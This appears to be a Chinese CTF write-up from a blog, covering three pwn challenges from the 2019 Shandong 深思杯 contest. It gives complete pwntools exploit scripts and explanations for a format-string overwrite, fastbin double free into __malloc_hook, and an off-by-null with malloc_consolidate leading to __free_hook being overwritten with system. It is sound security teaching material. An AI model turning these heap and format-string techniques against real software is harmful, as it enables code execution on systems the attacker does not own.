跳转至

2019 深思杯

2019-深思杯

把之前比赛的题目做做

当时放弃拯救的我,把所有能保存的题目都保存了下来

深思杯2019山东省大学生网络安全技能大赛.zip

MinZhu

首先有一个检测,要把 key 找出来才能进入,使用 angr 就可以

https://www.yuque.com/hxfqg9/bin/vprnxg#d2Ruo

找出来 key 是 xNd9y6

然后看一下位置,第四个

1593006419656-9da39620-8890-4e02-b194-83808db6e702.png

然后, 程序有一个后门,覆盖后面要执行的一个函数的地址为它就能打印出 flag 了

1593007357895-cafc3074-54db-49de-9140-0513a990cd34.png

from pwn import *
p = process("./pwn")
p.recvuntil("Key:")
p.sendline("xNd9y6")
p.recvuntil("your msg:")
payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
print(len(payload2))
p.sendline(payload2)
p.interactive()

1593007402886-ae2d5924-b2f4-4bf7-a3cb-6129edcaf182.png

heap_doublefree_x64

from pwn import *
context(log_level="DEBUG")
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,content):
  p.sendlineafter("choice:","1")
  p.sendlineafter("length of data:\n",str(size))
  p.recvuntil("Leave your message:\n")
  p.send(content)

def delete(index):
  p.sendlineafter("choice:","2")
  p.sendlineafter("want to delete:\n",str(index))

def show():
  p.sendlineafter("choice:","3")

def modify(index,content):
  p.sendlineafter("choice:","4")
  p.sendlineafter("want to modify:\n",str(index))
  p.sendlineafter("to modify:\n",content)

def quit(suggest):
  p.sendlineafter("choice:","5")
  p.sendlineafter("your advice:\n",suggest)

add(0x20,"1111")#1
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#2
add(0x20, p64(0) + p64(0x31))#3
add(0x60, "4444")#4
add(0x60, "5555")#5
add(0x20, "2333")#6
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")#7
add(0x20, "\x50")#8
add(0x20, "\x50")#9
add(0x20, p64(0) + p64(0x111))#10
delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline("21")
p.interactive()

申请堆块的时候会在 0x06020C8(bss 段)维护一个表

分别是第几个申请的、大小、指针、1

1602676440419-79e97195-7d5a-46d9-893d-86a15a4d72aa.png

不过没用上这里

free 的时候只是把存放的堆指针的地方给置为 0 了,没有把 chunk 给置为 0

fastbin double free 的时候是这么一个指针

1602762174648-693a8a47-f58c-43ab-953d-9b58b7b41760.png

1602764804761-6fe8af4f-f5e6-43b0-8a24-a37729222b45.png

可以把 fd 指针的最后一位改成 \x50,这样再去 malloc 的时候就能申请到 0x603050

add(0x20,"1111")
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#要注意0x603050那里的size
add(0x20, "3333")
add(0x60, "4444")#这俩0x60是为了确保有后面0x110大小的空间
add(0x60, "5555")#0x70+0x70+0x30=0x110
add(0x20, "2333")#这个是防止0x110与top chunk合并的
delete(1)
delete(2)
delete(1)
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, "\x50")
add(0x20, p64(0) + p64(0x111))

然后 free 掉,再 malloc 回来去 show 就能显示出来,然而我们会改掉后面那一位,不过不要紧,后三位基本都是 0x00 的

delete(3)
add(0x30, "\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8, '\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20#这个使用main_arena算出来的

然后就能计算出 malloc_hook 与 one_gadget 的地址了

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

在我电脑上 one_gadget 中的 0xf1207 可以用

这个 malloc_addr 是算了个偏移,为了后面申请到 malloc_hook 的时候能有个 size 位绕过检查

然后还是上面的套路,fastbin double free 把 malloc_hook 的地址改为 one_gadget

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)

然后去申请的时候就能拿到 shell 了

1602834711339-5e5a29b0-a457-4c63-96ba-5ac82b4d4232.png

secnote

# encoding=utf-8
from pwn import *
#context.log_level = 'debug'
p = process("./pwn")
elf = ELF("./pwn")
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(index,leng,content):
  p.sendlineafter("Your choice: ","1")
  p.sendlineafter("Index: ",str(index))
  p.sendlineafter("note len: ",str(leng))
  p.sendlineafter("content: ",content)

def check(index):
  p.sendlineafter("Your choice: ","2")
  p.sendlineafter("Index: ",str(index))

def delete(index):
  p.sendlineafter("Your choice: ","3")
  p.sendlineafter("Index: ",str(index))

for i in range(25):
  add(i,0x78,'aaaa'+str(i))#0-24

for i in range(7):
  delete(i)#0-6

delete(10)
delete(11)
delete(12)
delete(13)
delete(14)
delete(15)

p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
  add(i,0x78,'bbbb'+str(i))#0-6

add(25, 0x78, '25'+"b" * 0x76)#off by null 0x280->0x200

add(26, 0x78, '26'+"b" * 0x6e)
add(27, 0x78, '27'+"b" * 0x6e)
add(28, 0x78, '28'+"b" * 0x6e)
add(29, 0x78, '29'+"b" * 0x6e)
add(30, 0x78, "/bin/sh\x00")

for i in range(7):
  delete(i)#0-6 tcache

delete(16)
delete(26)

p.sendlineafter("Your choice: ",'1'*0x600)
p.sendlineafter("Index: ","50")# >31

for i in range(7):
    add(i, 0x78, "tcache"+str(i))    # clear tcache

add(31, 0x78, "aaaa31")

p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline("27")
p.recvuntil("Content: ")
libc_addr = u64(p.recv(6).ljust(8, '\x00')) - 96 - 0x3ebc40

free_hook = libc_addr + libc.symbols['__free_hook']
system = libc_addr + libc.symbols["system"]

add(10, 0x78, "aaaa10")
delete(10)
delete(27)

add(10, 0x78, p64(free_hook))
add(11, 0x78, p64(free_hook))
add(12, 0x78, p64(system))

p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline("30")

p.interactive()

这个题目配了个 libc 2.27 的,所以应该是在 ubuntu 18 下的

限制了 size 的大小要小于等于 0x78,存在 off by null

1602985542994-67dd5e86-2e61-4dd6-91b9-9572b61d4d6d.png

首先把 tcache 填满,接下来 free 的那些就会放到 fastbin 中了

如果 scanf 读入的是一个很大的数的话他就会去申请一块空间,如果这个空间申请的足够大就能触发 malloc_consolidate,从而合并 fastbin 放到 unsorted bin 中去

所以,我们在 scanf 的时候去发送很大的一个数比如 '1'*600 就能让前面那些 fastbin 合并

1603074352821-640b97e0-d0e1-419b-855c-83d8500c8a91.png

再把之前放在 tcache 中的申请回来,然后去申请一个 chunk,正常情况应该是:把 unsorted bin 中那块 0x300 分成 0x80 与 0x280,但是如果全部写上加上后面那个 off by null 就会把 0x280 的 size 给改掉,改为 0x200

1603074440243-c9263169-fd14-4041-a807-1daea39f1256.png

然后把那 0x200 申请掉,再申请的话就从 top chunk 中划分了(/bin/sh 那个),但是此时图中 aaaa16 那里的 prev_size 依然是 0x280

1603074566279-0406d3a2-8cc5-4c93-a19d-10ff3723d2ed.png

这时候先把 tcache 填满了,再去 free 掉 aaaa16 那个,然后再次触发 malloc_consolidate 就会再给我们一个 0x300 大小的 free chunk(aaaa16 跟它前面那块)

1603074686178-31e0b7f2-6d0d-40aa-b379-d992812ac761.png

先把 tcache 中的都申请完,然后再去申请一个,现在再去 check index27 的就能泄露出 unsorted bin 的地址

1603075003247-4d29e4a1-4e14-47d3-870a-c665d6a7cb80.png

然后申请一个 index10,这时候正好申请到 index27 那里,那么接下来就是 fastbin double free 了,可以对着这个释放两次,一次 free(index27),一次 free(index10),然后把 free_hook 改为 system 的地址,然后去 free(index30) 也就是前面写入 /bin/sh 的那一个 chunk

1603076030616-55124438-71b0-44c5-bdb1-dd47f458b30a.png

参考:https://wzt.ac.cn/2019/11/04/sdnisc2019/

原文: https://www.yuque.com/hxfqg9/bin/ygucy4